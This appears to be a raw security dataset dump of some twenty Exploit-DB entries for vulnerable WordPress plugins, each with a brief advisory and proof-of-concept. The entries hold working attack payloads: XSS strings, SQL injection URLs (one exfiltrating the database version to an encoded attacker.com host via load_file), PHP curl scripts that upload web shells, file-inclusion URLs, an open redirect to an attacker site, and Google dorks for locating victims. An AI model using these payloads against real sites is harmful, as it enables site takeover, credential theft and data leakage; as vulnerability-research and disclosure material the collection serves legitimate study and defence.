deardaniel/secdata-raw huggingface dataset:
Exploit-DB #17423
Description: WordPress Plugin WPtouch 1.9.27 - URL redirection
Type: webapps
Platform: php
Date: 2011-06-21
Author: MaKyOtOx

Exploit:
Hello , that's a 0day on the must downloaded WordPress plugin.

# Exploit Title: 0-Day WPtouch WordPress Plugin 1.9.27 URL redirection
# Google Dork: intext:"Powered by Wordpress + WPtouch" (with iphone/android
User-Agent)
# Author: MaKyOtOx (special Pwet to ansx & Zizounette for #bitcoins)
# Date: 20/06/2011
# Software Link: http://wordpress.org/extend/plugins/wptouch/
# Version: 1.9.27 (not tested on previous versions)
# Tested on: WhatEver OS
# CVE : 0-Day

http://site.com/?wptouch_view=normal&wptouch_redirect=.attacker-site.com

# It would redirect to : http://site.com.attacker-site.com :)
Exploit-DB #35561
Description: WordPress Plugin WPwizz AdWizz Plugin 1.0 - 'link' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-04-04
Author: John Leitch

Exploit:
source: https://www.securityfocus.com/bid/47141/info

The WPwizz AdWizz plugin for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

AdWizz plugin 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/wordpress/wp-content/plugins/ad-wizz/template.php?link=%22;%3C/script%3E%3Cscript%3Ealert(0);{//
Exploit-DB #38297
Description: WordPress Plugin Wysija Newsletters - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2013-02-06
Author: High-Tech Bridge

Exploit:
source: https://www.securityfocus.com/bid/57775/info

The Wysija Newsletters Plugin for WordPress is prone to multiple SQL-injection vulnerabilities. 

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

Wysija Newsletters 2.2 is vulnerable; other versions may also be affected.

http://www.example.com/wp-admin/admin.php?page=wysija_campaigns&orderby=(select load_file(CONCAT(CHAR(92),CHAR(92),(select version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHAR(101),CHAR(114),CHA R(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114 )))) --
Exploit-DB #38157
Description: WordPress Plugin Xerte Online - 'save.php' Arbitrary File Upload
Type: webapps
Platform: php
Date: 2013-01-02
Author: Sammy FORGIT

Exploit:
source: https://www.securityfocus.com/bid/57098/info

The Xerte Online plug-in for WordPress is prone to a vulnerability that lets attackers upload arbitrary files.

An attacker may leverage this issue to upload arbitrary files to the affected computer; this can result in arbitrary code execution within the context of the vulnerable application.

Xerte Online 0.32 is vulnerable; other versions may also be affected.

##################################################
# Description : Wordpress Plugins - Xerte Online Arbitrary File Upload Vulnerability
# Version : 0.32
# Link : http://wordpress.org/extend/plugins/xerte-online/
# Plugins : http://downloads.wordpress.org/plugin/xerte-online.0.32.zip
# Date : 30-12-2012
# Google Dork : inurl:/wp-content/plugins/xerte-online/
# Author : Sammy FORGIT - sam at opensyscom dot fr - http://www.opensyscom.fr
##################################################

Exploit :

PostShell.php
<?php

$code = "[CODE PHP]";
$ch = curl_init("http://www.example.com/wordpress/wp-content/plugins/xerte-online/xertefiles/save.php");
curl_setopt($ch, CURLOPT_POST, true);   
curl_setopt($ch, CURLOPT_POSTFIELDS,
        array('filename'=>"/wordpress/wp-content/plugins/xerte-online/xertefiles/lo-xerte.php",
                'filedata'=>"$code"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";

?>


Shell Access :
http://www.example.com/wordpress/wp-content/plugins/xerte-online/xertefiles/lo-xerte.php
Exploit-DB #39303
Description: WordPress Plugin Xhanch My Twitter - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2014-09-08
Author: Voxel@Night

Exploit:
source: https://www.securityfocus.com/bid/69744/info

Xhanch My Twitter plugin for WordPress is prone to a cross-site request-forgery vulnerability.

An attacker can exploit the cross-site request forgery issue to perform unauthorized actions in the context of a logged-in user of the affected application. This may aid in other attacks.

Xhanch My Twitter 2.7.7 is vulnerable; other versions may also be affected. 

http://www.example.com/wordpress/?xmt_Primary_twt_id=[PII_REDACTED]10300928
Exploit-DB #38608
Description: WordPress Plugin Xorbin Analog Flash Clock - 'widgetUrl' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2013-06-30
Author: Prakhar Prasad

Exploit:
source: https://www.securityfocus.com/bid/60860/info

The Xorbin Analog Flash Clock plugin is prone to a cross-site-scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Xorbin Analog Flash Clock 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/wordpress/wp-content/plugins/xorbin-analog-flash-clock/media/xorAnalogClock.swf#?urlWindow=_self&widgetUrl=javascript:alert(1);
Exploit-DB #38621
Description: WordPress Plugin Xorbin Digital Flash Clock - 'widgetUrl' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2013-06-30
Author: Prakhar Prasad

Exploit:
source: https://www.securityfocus.com/bid/60862/info

The Xorbin Digital Flash Clock plugin for WordPress is prone to a cross-site-scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Xorbin Digital Flash Clock 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/wordpress/wp-content/plugins/xorbin-digital-flash-clock/media/xorDigitalClock.swf#?widgetUrl=javascript:alert(1);
Exploit-DB #37086
Description: WordPress Plugin Yahoo Answer - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2012-04-16
Author: Ryuzaki Lawlet

Exploit:
source: https://www.securityfocus.com/bid/53037/info

Yahoo Answer plugin for WordPress is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/[]/[]/process-imported-question.php?catname=[xss]
http://www.example.com/[]/[]/editautopilot.php?query=[xss]
Exploit-DB #33390
Description: WordPress Plugin Yoast Google Analytics 3.2.4 - 404 Error Page Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-12-04
Author: intern0t

Exploit:
source: https://www.securityfocus.com/bid/37209/info

Yoast Google Analytics for WordPress Plugin is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

This issue affects version 3.2.4 of the plugin. 

http://www.example.com/wp/?s=</script><script>alert(0)</script>
http://www.example.com/wp/?s=");alert(0);document.write("
Exploit-DB #17757
Description: WordPress Plugin yolink Search 1.1.4 - SQL Injection
Type: webapps
Platform: php
Date: 2011-08-30
Author: Miroslav Stampar

Exploit:
# Exploit Title: WordPress yolink Search plugin <= 1.1.4 SQL Injection Vulnerability
# Date: 2011-08-30
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/yolink-search.1.1.4.zip
# Version: 1.1.4 (tested)

---------------
PoC (POST data)
---------------
http://www.site.com/wp-content/plugins/yolink-search/includes/bulkcrawl.php
 page=-1&from_id=-1 UNION ALL SELECT CONCAT_WS(CHAR(58),database(),version(),current_user()),NULL--%20&batch_size=-1

---------------
Vulnerable code
---------------
$post_type_in = array();

if( isset( $_POST['page'] ) )
{
    $post_type_in[] = '"page"';
}
if( isset( $_POST['post'] ) )
{
    $post_type_in[] = '"post"';
}
$post_type_in = '(' . implode(',', $post_type_in) . ')';
$id_from = $_POST['from_id'];
$batch_size = $_POST['batch_size'];

$post_recs = $wpdb->get_results( $wpdb->prepare( "SELECT ID,GUID FROM $wpdb->posts WHERE post_status='publish' AND post_type IN $post_type_in AND ID > $id_from order by ID asc LIMIT $batch_size" ) ); //misusage of $wpdb->prepare() :)
Exploit-DB #50066
Description: WordPress Plugin YOP Polls 6.2.7 - Stored Cross Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2021-06-28
Author: Toby Jackson

Exploit:
# Exploit Title: WordPress Plugin YOP Polls 6.2.7 - Stored Cross Site Scripting (XSS)
# Date: 09/06/2021
# Exploit Author: inspired - Toby Jackson
# Vendor Homepage: https://yop-poll.com/
# Blog Post: https://www.in-spired.xyz/discovering-wordpress-plugin-yop-polls-v6-2-7-stored-xss/
# Software Link: https://en-gb.wordpress.org/plugins/yop-poll/
# Version: Tested on version 6.2.7 (Older versions may be affected)
# Tested on: WordPress
# Category : Webapps

## I. Vulnerability

Stored Cross Site Scripting (XSS)

## II. Product Overview

The software allows users to quickly generate polls and voting systems for their blog posts without any need for programming knowledge. 

## III. Exploit 

When a poll is created that allows other answers and then the setting is enabled for displaying the other responses after submission, the other answer is not sanitized when displayed back to the user, showing an XSS vulnerability. It is, however, correctly sanitized when displaying the other choices on the initial vote page.

## IV. Vulnerable Code

The vulnerable code resides in the fact the results are echoed back to the user without any sanitization performed on the output. It also gets stored in the database as it's inserts.

## IV. Proof of Concept

- Create a new poll that allows other answers, with the results of the other answers being displayed after voting.
- Set the permissions to whoever you'd like to be able to vote.
- Place it on a blog post.
- Insert '<script>alert('xss')</script>' into the other box.
- Submit vote. The payload gets triggered when reflected back to users.
- Whenever a new user votes, they will also be affected by the payload.

## VI. Impact

An attacker can leave stored javascript payloads to be executed whenever a user votes and views the results screen. This could lead to them stealing cookies, logging keystrokes and even stealing passwords from autocomplete forms.

## VII. SYSTEMS AFFECTED

WordPress websites running "YOP Polls" plugin version 6.2.7 (older versions may also be affected).

## VIII. REMEDIATION

Update the plugin to v6.2.8.

## VIIII. DISCLOSURE TIMELINE
-------------------------
June 9, 2021 1: Vulnerability identified.
June 9, 2021 2: Informed developer of the vulnerability.
June 10, 2021 1: Vendor requested proof of concept.
June 10, 2021 2: Sent proof of concept and accompanying details.
June 14, 2021 1: Vendor emails to state the vulnerability has been fixed.
June 16, 2021 1: Confirmed fix, vendor happy to disclose the vulnerability.
June 17, 2021 1: Requested CVE Number.
Exploit-DB #36620
Description: WordPress Plugin YouSayToo auto-publishing 1.0 - 'submit' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-01-24
Author: H4ckCity Security Team

Exploit:
source: https://www.securityfocus.com/bid/51649/info

YouSayToo auto-publishing for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

YouSayToo auto-publishing 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/[path]/wp-content/plugins/yousaytoo-auto-publishing-plugin/yousaytoo.php?submit=[xss]
Exploit-DB #35394
Description: WordPress Plugin YT-Audio 1.7 - 'v' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-02-23
Author: AutoSec Tools

Exploit:
source: https://www.securityfocus.com/bid/46591/info

The YT-Audio plugin for WordPress is prone to a cross-site-scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

YT-Audio plugin 1.7 is vulnerable; other versions may also be affected.

http://www.example.com/wordpress/wp-content/plugins/yt-audio-streaming-audio-from-youtube/frame.php?v=%22%3E%3C/iframe%3E%3Cscript%3Ealert(0)%3C%2fscript%3E%3Ciframe+src=%22
Exploit-DB #16218
Description: WordPress Plugin Z-Vote 1.1 - SQL Injection
Type: webapps
Platform: php
Date: 2011-02-23
Author: High-Tech Bridge SA

Exploit:
Source: http://packetstormsecurity.org/files/view/98671/zvote-sql.txt

Vulnerability ID: HTB22839
Reference: http://www.htbridge.ch/advisory/sql_injection_in_z_vote_wordpress_plugin.html
Product: Z-Vote wordpress plugin
Vendor: 140hours ( http://wordpress.org/extend/plugins/z-vote/ ) 
Vulnerable Version: 1.1
Vendor Notification: 08 February 2011 
Vulnerability Type: SQL Injection
Risk level: High 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
The vulnerability exists due to failure in the "/zvote.php" script to properly sanitize user-supplied input in "zvote" variable.
Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database.

The following PoC is available:


http://[host]/?zvote=SQL_CODE_HERE
Exploit-DB #38050
Description: WordPress Plugin Zarzadzonie Kontem - 'ajaxfilemanager.php' Script Arbitrary File Upload
Type: webapps
Platform: php
Date: 2012-11-22
Author: Ashiyane Digital Security Team

Exploit:
source: https://www.securityfocus.com/bid/56663/info

The Zarzadzonie Kontem plugin for WordPress is prone to an arbitrary file-upload vulnerability because it fails to adequately validate files before uploading them.

An attacker may leverage this issue to upload arbitrary files to the affected computer; this can result in arbitrary code execution within the context of the vulnerable application. 

http://www.example.com/wp-content/plugins/zarzadzanie_kontem/js/tiny_mce/plugins/ajaxfilemanager/ajaxfilemanager.php
Exploit-DB #38101
Description: WordPress Plugin Zingiri Forums - 'language' Local File Inclusion
Type: webapps
Platform: php
Date: 2012-12-30
Author: Amirh03in

Exploit:
source: https://www.securityfocus.com/bid/56777/info

The Zingiri Forums plugin for WordPress is prone to a local file-include vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker can exploit this vulnerability to view files and execute local scripts in the context of the web server process. This may aid in further attacks. 

http://www.example.com/wp-content/plugins/zingiri-forum/mybb/memberlist.php?language=[Directory or file]
Exploit-DB #38046
Description: WordPress Plugin Zingiri Web Shop - 'path' Arbitrary File Upload
Type: webapps
Platform: php
Date: 2012-11-22
Author: Ashiyane Digital Security Team

Exploit:
source: https://www.securityfocus.com/bid/56659/info

The Zingiri Web Shop plugin for WordPress is prone to an arbitrary file-upload vulnerability because it fails to adequately validate files before uploading them.

An attacker may leverage this issue to upload arbitrary files to the affected computer; this can result in arbitrary code execution within the context of the vulnerable application.

Zingiri Web Shop 2.5.0 is vulnerable; other versions may also be affected. 

http://www.example.com/wp-content/plugins/zingiri-web-shop/fws/addons/tinymce/jscripts/tiny_mce/plugins/ajaxfilemanager/ajaxfilemanager.php?path=[path]
Exploit-DB #17867
Description: WordPress Plugin Zingiri Web Shop 2.2.0 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2011-09-19
Author: Ben Schmidt

Exploit:
# Exploit Title: Zingiri Web Shop Wordpress plugin RFI
# Google Dork: inurl:wp-content/plugins/zingiri-web-shop
# Date: 09/19/2011
# Author: Ben Schmidt (supernothing (AT) spareclockcycles.org @_supernothing)
# Software Link: http://wordpress.org/extend/plugins/zingiri-web-shop/download/
# Version: 2.2.0 (tested)

---
PoC
---
http://SERVER/WP_PATH/wp-content/plugins/zingiri-web-shop/fws/ajax/init.inc.php?wpabspath=RFI OR /fwkfor/ajax/init.inc.php?wpabspath=RFI

---
Vulnerable Code
---
if ($_REQUEST['cms']=='jl') {
	define('ZING_CMS','jl');
	$_REQUEST['tmpl'] = 'component';
	$_REQUEST['option'] = 'com_zingiriwebshop';
	ob_start();
	require($_REQUEST['wpabspath'].'/index.php');
	ob_end_clean();
} elseif ($_REQUEST['cms']=='dp') {
	//all bootstrapping is already done
} else {
	if (!defined('ZING_AJAX') || !ZING_AJAX) {
		/** Loads the WordPress Environment */
		//require($_REQUEST['wpabspath'].'wp-blog-header.php');
		require($_REQUEST['wpabspath'].'wp-load.php');
		/** Load Zingiri Web Shop */
		require(dirname(__FILE__).'/../../zing.readcookie.inc.php');
		require(dirname(__FILE__).'/../../startmodules.inc.php');
	}
}
Exploit-DB #18787
Description: WordPress Plugin Zingiri Web Shop 2.4.0 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2012-04-26
Author: Mehmet Ince

Exploit:
##############################################################################
Wordpress Zingiri Web Shop Plugin <= 2.4.0 Multiple XSS Vulnerabilities

author...............: Mehmet Ince
twitte...............: https://twitter.com/#!/mmetince
mail.................: mehmet.ince@bga.com.tr
software link........: http://www.zingiri.com
affected versions....: tested on 2.3.0 and 2.4.0
# Exploit Title: Wordpress Zingiri Web Shop Plugin <= 2.4.0 Multiple XSS
Vulnerabilities
# Google Dork:
# Date: 26 Apr 2012
# Author: Mehmet INCE
# Software Link:
http://downloads.wordpress.org/plugin/zingiri-web-shop.2.4.0.zip
# Version: 2.4.0 and older.
# Tested on: version of 2.3.0 and 2.4.0 with Ubuntu 11.10 Server with
Firefox browser.
##############################################################################
/*
## BASIC XSS
PS: Exploitable without Authentication

plugins/zingiri-web-shop/zing.inc.php

line at 401.

if ($process=='content' && $page!='ajax' && $page!='downldr') echo '<div
class="zing_ws_page" id="zing_ws_'.$_GET['page'].'">';

Exploit:
http://localhost/wordpress/?page=%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E

'page' variable isn't properly sanitized before being used.


## STORED XSS
PS: Attacker should be logged for exploit.
./fws/pages-front/onecheckout.php

line 27-29
if (!empty($_POST['notes'])) {
$notes=$_POST['notes'];
}

and line 348
<textarea name="notes" rows="5" style="width: 100%"><?php echo
$notes;?>&lt;/textarea&gt;<br />

'notes' variable isn't properly sanitized before being used.

That's very basic XSS vulnerabilities. But you dont need use fishing attack
to target webpage's administrator. That application insert datas to
database with that form. After your malicious code posted up, your
javascrip code inserted to database with $_POST['notes'] variable. When
administrator wanna see list of ordered items list. Javascript codes will
come from database and start working on Authenticated admin user side.
After that You can use browser keylogger with BT5 tools or can usee cookie
grabber.
*/

step 1: Login to wordpress.

step 2: Go to "Shop" menu. It's should be stay at banner.

http://6.6.6.102/wordpress/?page_id=14

step 3: Than you'll see list ot items. Click one of them.

http://6.6.6.102/wordpress/?page=details&prod=2&cat=1&page_id=14

step 4: You can pass that form action. That wont be problem..! Click to
"Order" button.

step 5: There is confirmation about the Shopping. Click "checkout" to pass
that page.

step 6: It's final stage. Put you javascript payload to "Additional
comments/questions" form. After you click checkout button, that form will
get all of these input data with POST method.

step 7: Click to "Checkout"
Exploit-DB #37406
Description: WordPress Plugin Zingiri Web Shop 2.4.3 - 'uploadfilexd.php' Arbitrary File Upload
Type: webapps
Platform: php
Date: 2012-06-14
Author: Sammy FORGIT

Exploit:
source: https://www.securityfocus.com/bid/54020/info

Zingiri Web Shop plugin for WordPress is prone to a vulnerability that lets attackers upload arbitrary files. The issue occurs because the application fails to adequately sanitize user-supplied input.

An attacker can exploit this vulnerability to upload arbitrary code and run it in the context of the web server process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible.

Zingiri Web Shop 2.4.3 is vulnerable; other versions may also be affected.

<?php

$uploadfile="lo.php";
 
$ch = curl_init("http://www.exemple.com/wordpress/wp-content/plugins/zingiri-web-shop/fwkfor/ajax/uploadfilexd.php?fh=/&action=save");
curl_setopt($ch, CURLOPT_POST, true);   
curl_setopt($ch, CURLOPT_POSTFIELDS, array('fh'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";

?>
Exploit-DB #37200
Description: WordPress Plugin zM Ajax Login & Register 1.0.9 - Local File Inclusion
Type: webapps
Platform: php
Date: 2015-06-04
Author: Panagiotis Vagenas

Exploit:
# Exploit Title: CVE-2015-4153 - WordPress zM Ajax Login & Register
Plugin [Local File Inclusion]
# Date: 2015/06/01
# Exploit Author: Panagiotis Vagenas
# Contact: https://twitter.com/panVagenas
# Vendor Homepage: http://zanematthew.com/
# Software Link:
https://downloads.wordpress.org/plugin/zm-ajax-login-register.1.0.9.zip
# Version: 1.0.9
# Tested on: WordPress 4.2.2
# Category: webapps
# CVE: CVE-2015-4153

* Description

Any authenticated or non-authenticated user can perform a local file
inclusion attack by exploiting the wp_ajax_nopriv_load_template action.
Plugin simply includes the file specified in 'template' POST parameter
without any further validation.

* Proof of Concept

Send a post request to
`http://my.vulnerable.website.com/wp-admin/admin-ajax.php` with data:
`action=load_template&template=[relative path to local
file]&security=[wp nonce]&referer=[action from which the nonce came from]`

* Timeline

2015/06/01 Discovered
2015/06/01 Vendor alerted via contact form at his website
2015/06/03 Vendor responded
2015/06/03 Fixed in version 1.1.0


* Solution

Update to version 1.1.0